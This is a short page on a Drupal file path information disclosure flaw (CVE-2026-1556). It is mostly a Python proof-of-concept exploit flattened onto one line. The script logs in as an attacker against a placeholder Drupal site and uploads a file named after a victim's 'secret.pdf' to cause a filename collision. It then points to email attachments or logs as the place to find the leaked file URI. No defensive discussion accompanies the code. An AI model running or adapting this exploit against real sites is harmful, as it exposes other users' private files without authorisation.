CVE-2026-1556 Drupal文件路径信息泄露漏洞

import requests # This is a conceptual Proof of Concept (PoC) for CVE-2026-1556 # It demonstrates how an authenticated user might attempt to trigger the file disclosure. # Requires valid session cookies and knowledge of the target file structure. target_url = "http://example-drupal-site/node/add/page" login_url = "http://example-drupal-site/user" # Attacker credentials username = "attacker" password = "password" # File to simulate collision (assuming victim has 'secret.pdf') files = { 'files[field_file_und_0]': ('secret.pdf', 'This is the attacker uploaded content', 'application/pdf') } data = { 'title': 'PoC Attack', 'form_id': 'page_node_form', 'form_build_id': 'form-xxx' # Needs to be fetched dynamically } session = requests.Session() # 1. Login to get authenticated session login_data = { 'name': username, 'pass': password, 'form_id': 'user_login', 'op': 'Log in' } session.post(login_url, data=login_data) # 2. Upload the file to trigger the collision vulnerability response = session.post(target_url, files=files, data=data) if response.status_code == 200: print("[+] Upload request sent. Check email attachments or logs for leaked URI.") else: print("[-] Request failed.")